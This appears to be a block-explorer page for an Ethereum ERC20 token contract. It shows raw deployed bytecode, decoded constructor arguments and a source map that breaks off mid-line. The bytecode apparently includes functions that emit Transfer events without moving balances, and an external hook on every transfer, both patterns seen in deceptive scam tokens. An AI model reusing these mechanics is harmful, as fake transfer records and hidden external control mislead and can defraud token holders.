ffffffffffffffffffffff1681526020019081526020016000206000828254610db39190611731565b92505081905550610dc5848484610ef6565b50505050565b60007f0000000000000000000000000000000000000000000000000000000000000000905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610ef157600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637512c5a3848430600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518663ffffffff1660e01b8152600401610eac959493929190611ad1565b6020604051808303816000875af1158015610ecb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eef91906115c7565b505b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f35578082015181840152602081019050610f1a565b60008484015250505050565b6000601f19601f8301169050919050565b6000610f5d82610efb565b610f678185610f06565b9350610f77818560208601610f17565b610f8081610f41565b840191505092915050565b60006020820190508181036000830152610fa58184610f52565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610fec82610fc1565b9050919050565b610ffc81610fe1565b811461100757600080fd5b50565b60008135905061101981610ff3565b92915050565b6000819050919050565b6110328161101f565b811461103d57600080fd5b50565b60008135905061104f81611029565b92915050565b6000806040838503121561106c5761106b610fb7565b5b600061107a8582860161100a565b925050602061108b85828601611040565b9150509250929050565b60008115159050919050565b6110aa81611095565b82525050565b60006020820190506110c560008301846110a1565b92915050565b6110d48161101f565b82525050565b60006020820190506110ef60008301846110cb565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61113282610f41565b810181811067ffffffffffffffff82111715611151576111506110fa565b5b80604052505050565b6000611164610fad565b90506111708282611129565b919050565b600067ffffffffffffffff8211156111905761118f6110fa565b5b602082029050602081019050919050565b600080fd5b60006111b96111b484611175565b61115a565b905080838252602082019050602084028301858111156111dc576111db6111a1565b5b835b8181101561120557806111f1888261100a565b8452602084019350506020810190506111de565b5050509392505050565b600082601f830112611224576112236110f5565b5b81356112348482602086016111a6565b91505092915050565b600067ffffffffffffffff821115611258576112576110fa565b5b602082029050602081019050919050565b600061127c6112778461123d565b61115a565b9050808382526020820190506020840283018581111561129f5761129e6111a1565b5b835b818110156112c857806112b48882611040565b8452602084019350506020810190506112a1565b5050509392505050565b600082601f8301126112e7576112e66110f5565b5b81356112f7848260208601611269565b91505092915050565b600080600080600060a0868803121561131c5761131b610fb7565b5b600061132a8882890161100a565b955050602086013567ffffffffffffffff81111561134b5761134a610fbc565b5b6113578882890161120f565b945050604086013567ffffffffffffffff81111561137857611377610fbc565b5b611384888289016112d2565b935050606086013567ffffffffffffffff8111156113a5576113a4610fbc565b5b6113b1888289016112d2565b92505060806113c28882890161100a565b9150509295509295909350565b6000806000606084860312156113e8576113e7610fb7565b5b60006113f68682870161100a565b93505060206114078682870161100a565b925050604061141886828701611040565b9150509250925092565b600060ff82169050919050565b61143881611422565b82525050565b6000602082019050611453600083018461142f565b92915050565b60006020828403121561146f5761146e610fb7565b5b600061147d8482850161100a565b91505092915050565b6000806040838503121561149d5761149c610fb7565b5b60006114ab8582860161100a565b92505060206114bc8582860161100a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061150d57607f821691505b6020821081036115205761151f6114c6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b61155e81610fe1565b82525050565b60006060820190506115796000830186611555565b6115866020830185611555565b61159360408301846110cb565b949350505050565b6115a481611095565b81146115af57600080fd5b50565b6000815190506115c18161159b565b92915050565b6000602082840312156115dd576115dc610fb7565b5b60006115eb848285016115b2565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061162e8261101f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036116605761165f6115f4565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006116c7602883610f06565b91506116d28261166b565b604082019050919050565b600060208201905081810360008301526116f6816116ba565b9050919050565b60006117088261101f565b91506117138361101f565b925082820390508181111561172b5761172a6115f4565b5b92915050565b600061173c8261101f565b91506117478361101f565b925082820190508082111561175f5761175e6115f4565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006117c1602583610f06565b91506117cc82611765565b604082019050919050565b600060208201905081810360008301526117f0816117b4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611853602483610f06565b915061185e826117f7565b604082019050919050565b6000602082019050818103600083015261188281611846565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006118e5602283610f06565b91506118f082611889565b604082019050919050565b60006020820190508181036000830152611914816118d8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611977602583610f06565b91506119828261191b565b604082019050919050565b600060208201905081810360008301526119a68161196a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611a09602383610f06565b9150611a14826119ad565b604082019050919050565b60006020820190508181036000830152611a38816119fc565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611a9b602683610f06565b9150611aa682611a3f565b604082019050919050565b60006020820190508181036000830152611aca81611a8e565b9050919050565b600060a082019050611ae66000830188611555565b611af36020830187611555565b611b006040830186611555565b611b0d6060830185611555565b611b1a60808301846110cb565b969550505050505056fea2646970667358221220fcf864882e40904ccad48563d9cfc07338efa9f434f8093d730679c8afd1b77b64736f6c63430008120033000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000002540be400000000000000000000000000ee3e375feb6197c5b37c210fbae8d09828e3adb0000000000000000000000000fbfeaf0da0f2fde5c66df570133ae35f3eb58c9a

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c578063a457c2d711610066578063a457c2d71461023c578063a9059cbb1461026c578063dd62ed3e1461029c578063e156b1b6146102cc576100cf565b806339509351146101be57806370a08231146101ee57806395d89b411461021e576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd146101225780631c63aef21461014057806323b872dd14610170578063313ce567146101a0575b600080fd5b6100dc6102fc565b6040516100e99190610f8b565b60405180910390f35b61010c60048036038101906101079190611055565b61038e565b60405161011991906110b0565b60405180910390f35b61012a6103ac565b60405161013791906110da565b60405180910390f35b61015a60048036038101906101559190611300565b6103b6565b60405161016791906110b0565b60405180910390f35b61018a600480360381019061018591906113cf565b610536565b60405161019791906110b0565b60405180910390f35b6101a8610637565b6040516101b5919061143e565b60405180910390f35b6101d860048036038101906101d39190611055565b610646565b6040516101e591906110b0565b60405180910390f35b61020860048036038101906102039190611459565b6106f2565b60405161021591906110da565b60405180910390f35b61022661073a565b6040516102339190610f8b565b60405180910390f35b61025660048036038101906102519190611055565b6107cc565b60405161026391906110b0565b60405180910390f35b61028660048036038101906102819190611055565b6108c0565b60405161029391906110b0565b60405180910390f35b6102b660048036038101906102b19190611486565b6108de565b6040516102c391906110da565b60405180910390f35b6102e660048036038101906102e191906113cf565b610965565b6040516102f391906110b0565b60405180910390f35b60606003805461030b906114f5565b80601f0160208091040260200160405190810160405280929190818152602001828054610337906114f5565b80156103845780601f1061035957610100808354040283529160200191610384565b820191906000526020600020905b81548152906001019060200180831161036757829003601f168201915b5050505050905090565b60006103a261039b6109d7565b84846109df565b6001905092915050565b6000600254905090565b600080600090505b8551811015610528578581815181106103da576103d9611526565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061044357610442611526565b5b602002602001015160405161045891906110da565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811061048f5761048e611526565b5b6020026020010151898785815181106104ab576104aa611526565b5b60200260200101516040518463ffffffff1660e01b81526004016104d193929190611564565b6020604051808303816000875af11580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906115c7565b50808061052090611623565b9150506103be565b506001905095945050505050565b6000610543848484610ba8565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061058e6109d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561060e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610605906116dd565b60405180910390fd5b61062b8561061a6109d7565b858461062691906116fd565b6109df565b60019150509392505050565b6000610641610dcb565b905090565b60006106e86106536109d7565b8484600160006106616109d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106e39190611731565b6109df565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054610749906114f5565b80601f0160208091040260200160405190810160405280929190818152602001828054610775906114f5565b80156107c25780601f10610797576101008083540402835291602001916107c2565b820191906000526020600020905b8154815290600101906020018083116107a557829003601f168201915b5050505050905090565b600080600160006107db6109d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610898576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088f906117d7565b60405180910390fd5b6108b56108a36109d7565b8585846108b091906116fd565b6109df565b600191505092915050565b60006108d46108cd6109d7565b8484610ba8565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109c491906110da565b60405180910390a3600190509392505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4590611869565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610abd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab4906118fb565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b9b91906110da565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0e9061198d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7d90611a1f565b60405180910390fd5b610c91838383610df3565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0e90611ab1565b60405180910390fd5b8181610d2391906116fd565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db39190611731565b92505081905550610dc5848484610ef6565b50505050565b60007f0000000000000000000000000000000000000000000000000000000000000009905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610ef157600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637512c5a3848430600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518663ffffffff1660e01b8152600401610eac959493929190611ad1565b6020604051808303816000875af1158015610ecb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eef91906115c7565b505b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f35578082015181840152602081019050610f1a565b60008484015250505050565b6000601f19601f8301169050919050565b6000610f5d82610efb565b610f678185610f06565b9350610f77818560208601610f17565b610f8081610f41565b840191505092915050565b60006020820190508181036000830152610fa58184610f52565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610fec82610fc1565b9050919050565b610ffc81610fe1565b811461100757600080fd5b50565b60008135905061101981610ff3565b92915050565b6000819050919050565b6110328161101f565b811461103d57600080fd5b50565b60008135905061104f81611029565b92915050565b6000806040838503121561106c5761106b610fb7565b5b600061107a8582860161100a565b925050602061108b85828601611040565b9150509250929050565b60008115159050919050565b6110aa81611095565b82525050565b60006020820190506110c560008301846110a1565b92915050565b6110d48161101f565b82525050565b60006020820190506110ef60008301846110cb565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61113282610f41565b810181811067ffffffffffffffff82111715611151576111506110fa565b5b80604052505050565b6000611164610fad565b90506111708282611129565b919050565b600067ffffffffffffffff8211156111905761118f6110fa565b5b602082029050602081019050919050565b600080fd5b60006111b96111b484611175565b61115a565b905080838252602082019050602084028301858111156111dc576111db6111a1565b5b835b8181101561120557806111f1888261100a565b8452602084019350506020810190506111de565b5050509392505050565b600082601f830112611224576112236110f5565b5b81356112348482602086016111a6565b91505092915050565b600067ffffffffffffffff821115611258576112576110fa565b5b602082029050602081019050919050565b600061127c6112778461123d565b61115a565b9050808382526020820190506020840283018581111561129f5761129e6111a1565b5b835b818110156112c857806112b48882611040565b8452602084019350506020810190506112a1565b5050509392505050565b600082601f8301126112e7576112e66110f5565b5b81356112f7848260208601611269565b91505092915050565b600080600080600060a0868803121561131c5761131b610fb7565b5b600061132a8882890161100a565b955050602086013567ffffffffffffffff81111561134b5761134a610fbc565b5b6113578882890161120f565b945050604086013567ffffffffffffffff81111561137857611377610fbc565b5b611384888289016112d2565b935050606086013567ffffffffffffffff8111156113a5576113a4610fbc565b5b6113b1888289016112d2565b92505060806113c28882890161100a565b9150509295509295909350565b6000806000606084860312156113e8576113e7610fb7565b5b60006113f68682870161100a565b93505060206114078682870161100a565b925050604061141886828701611040565b9150509250925092565b600060ff82169050919050565b61143881611422565b82525050565b6000602082019050611453600083018461142f565b92915050565b60006020828403121561146f5761146e610fb7565b5b600061147d8482850161100a565b91505092915050565b6000806040838503121561149d5761149c610fb7565b5b60006114ab8582860161100a565b92505060206114bc8582860161100a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061150d57607f821691505b6020821081036115205761151f6114c6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b61155e81610fe1565b82525050565b60006060820190506115796000830186611555565b6115866020830185611555565b61159360408301846110cb565b949350505050565b6115a481611095565b81146115af57600080fd5b50565b6000815190506115c18161159b565b92915050565b6000602082840312156115dd576115dc610fb7565b5b60006115eb848285016115b2565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061162e8261101f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036116605761165f6115f4565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006116c7602883610f06565b91506116d28261166b565b604082019050919050565b600060208201905081810360008301526116f6816116ba565b9050919050565b60006117088261101f565b91506117138361101f565b925082820390508181111561172b5761172a6115f4565b5b92915050565b600061173c8261101f565b91506117478361101f565b925082820190508082111561175f5761175e6115f4565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006117c1602583610f06565b91506117cc82611765565b604082019050919050565b600060208201905081810360008301526117f0816117b4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611853602483610f06565b915061185e826117f7565b604082019050919050565b6000602082019050818103600083015261188281611846565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006118e5602283610f06565b91506118f082611889565b604082019050919050565b60006020820190508181036000830152611914816118d8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611977602583610f06565b91506119828261191b565b604082019050919050565b600060208201905081810360008301526119a68161196a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611a09602383610f06565b9150611a14826119ad565b604082019050919050565b60006020820190508181036000830152611a38816119fc565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611a9b602683610f06565b9150611aa682611a3f565b604082019050919050565b60006020820190508181036000830152611aca81611a8e565b9050919050565b600060a082019050611ae66000830188611555565b611af36020830187611555565b611b006040830186611555565b611b0d6060830185611555565b611b1a60808301846110cb565b969550505050505056fea2646970667358221220fcf864882e40904ccad48563d9cfc07338efa9f434f8093d730679c8afd1b77b64736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000002540be400000000000000000000000000ee3e375feb6197c5b37c210fbae8d09828e3adb0000000000000000000000000fbfeaf0da0f2fde5c66df570133ae35f3eb58c9a

-----Decoded View---------------
Arg [0] : decimals_ (uint8): 9
Arg [1] : initialBalance_ (uint256): 10000000000
Arg [2] : feeReceiver_ (address): 0xee3e375feb6197c5B37C210FbAe8d09828e3adB0
Arg [3] : owner_ (address): 0xfbfEaF0DA0F2fdE5c66dF570133aE35f3eB58c9A

-----Encoded View---------------
4 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [1] : 00000000000000000000000000000000000000000000000000000002540be400
Arg [2] : 000000000000000000000000ee3e375feb6197c5b37c210fbae8d09828e3adb0
Arg [3] : 000000000000000000000000fbfeaf0da0f2fde5c66df570133ae35f3eb58c9a


Deployed Bytecode Sourcemap

18034:539:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6902:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9069:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8022:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14488:398;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9720:422;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18463:107;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10551:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8193:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7121:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11269:377;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8533:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8771:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14324:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6902:100;6956:13;6989:5;6982:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6902:100;:::o;9069:169::-;9152:4;9169:39;9178:12;:10;:12::i;:::-;9192:7;9201:6;9169:8;:39::i;:::-;9226:4;9219:11;;9069:169;;;;:::o;8022:108::-;8083:7;8110:12;;8103:19;;8022:108;:::o;14488:398::-;14637:4;14658:9;14670:1;14658:13;;14653:204;14677:9;:16;14673:1;:20;14653:204;;;14736:9;14746:1;14736:12;;;;;;;;:::i;:::-;;;;;;;;14720:42;;14729:5;14720:42;;;14750:8;14759:1;14750:11;;;;;;;;:::i;:::-;;;;;;;;14720:42;;;;;;:::i;:::-;;;;;;;;14784:12;14777:30;;;14808:9;14818:1;14808:12;;;;;;;;:::i;:::-;;;;;;;;14821:5;14828:9;14838:1;14828:12;;;;;;;;:::i;:::-;;;;;;;;14777:64;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;14695:3;;;;;:::i;:::-;;;;14653:204;;;;14874:4;14867:11;;14488:398;;;;;;;:::o;9720:422::-;9826:4;9843:36;9853:6;9861:9;9872:6;9843:9;:36::i;:::-;9892:24;9919:11;:19;9931:6;9919:19;;;;;;;;;;;;;;;:33;9939:12;:10;:12::i;:::-;9919:33;;;;;;;;;;;;;;;;9892:60;;9991:6;9971:16;:26;;9963:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;10053:57;10062:6;10070:12;:10;:12::i;:::-;10103:6;10084:16;:25;;;;:::i;:::-;10053:8;:57::i;:::-;10130:4;10123:11;;;9720:422;;;;;:::o;18463:107::-;18521:5;18546:16;:14;:16::i;:::-;18539:23;;18463:107;:::o;10551:215::-;10639:4;10656:80;10665:12;:10;:12::i;:::-;10679:7;10725:10;10688:11;:25;10700:12;:10;:12::i;:::-;10688:25;;;;;;;;;;;;;;;:34;10714:7;10688:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;10656:8;:80::i;:::-;10754:4;10747:11;;10551:215;;;;:::o;8193:127::-;8267:7;8294:9;:18;8304:7;8294:18;;;;;;;;;;;;;;;;8287:25;;8193:127;;;:::o;7121:104::-;7177:13;7210:7;7203:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7121:104;:::o;11269:377::-;11362:4;11379:24;11406:11;:25;11418:12;:10;:12::i;:::-;11406:25;;;;;;;;;;;;;;;:34;11432:7;11406:34;;;;;;;;;;;;;;;;11379:61;;11479:15;11459:16;:35;;11451:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;11547:67;11556:12;:10;:12::i;:::-;11570:7;11598:15;11579:16;:34;;;;:::i;:::-;11547:8;:67::i;:::-;11634:4;11627:11;;;11269:377;;;;:::o;8533:175::-;8619:4;8636:42;8646:12;:10;:12::i;:::-;8660:9;8671:6;8636:9;:42::i;:::-;8696:4;8689:11;;8533:175;;;;:::o;8771:151::-;8860:7;8887:11;:18;8899:5;8887:18;;;;;;;;;;;;;;;:27;8906:7;8887:27;;;;;;;;;;;;;;;;8880:34;;8771:151;;;;:::o;14324:156::-;14400:4;14438:3;14422:28;;14431:5;14422:28;;;14443:6;14422:28;;;;;;:::i;:::-;;;;;;;;14468:4;14461:11;;14324:156;;;;;:::o;4210:98::-;4263:7;4290:10;4283:17;;4210:98;:::o;15324:346::-;15443:1;15426:19;;:5;:19;;;15418:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15524:1;15505:21;;:7;:21;;;15497:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15608:6;15578:11;:18;15590:5;15578:18;;;;;;;;;;;;;;;:27;15597:7;15578:27;;;;;;;;;;;;;;;:36;;;;15646:7;15630:32;;15639:5;15630:32;;;15655:6;15630:32;;;;;;:::i;:::-;;;;;;;;15324:346;;;:::o;12136:618::-;12260:1;12242:20;;:6;:20;;;12234:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;12344:1;12323:23;;:9;:23;;;12315:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12399:47;12420:6;12428:9;12439:6;12399:20;:47::i;:::-;12467:21;12491:9;:17;12501:6;12491:17;;;;;;;;;;;;;;;;12467:41;;12544:6;12527:13;:23;;12519:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;12640:6;12624:13;:22;;;;:::i;:::-;12604:9;:17;12614:6;12604:17;;;;;;;;;;;;;;;:42;;;;12681:6;12657:9;:20;12667:9;12657:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;12700:46;12720:6;12728:9;12739:6;12700:19;:46::i;:::-;12223:531;12136:618;;;:::o;17768:100::-;17826:5;17851:9;17844:16;;17768:100;:::o;16273:225::-;16398:1;16373:27;;16381:4;16373:27;;;16369:127;;16432:8;;;;;;;;;;;16417:40;;;16458:4;16463:2;16474:4;16480:6;;;;;;;;;;;16487;16417:77;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;16369:127;16273:225;;;:::o;17100:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:117::-;3907:1;3904;3897:12;3921:180;3969:77;3966:1;3959:88;4066:4;4063:1;4056:15;4090:4;4087:1;4080:15;4107:281;4190:27;4212:4;4190:27;:::i;:::-;4182:6;4178:40;4320:6;4308:10;4305:22;4284:18;4272:10;4269:34;4266:62;4263:88;;;4331:18;;:::i;:::-;4263:88;4371: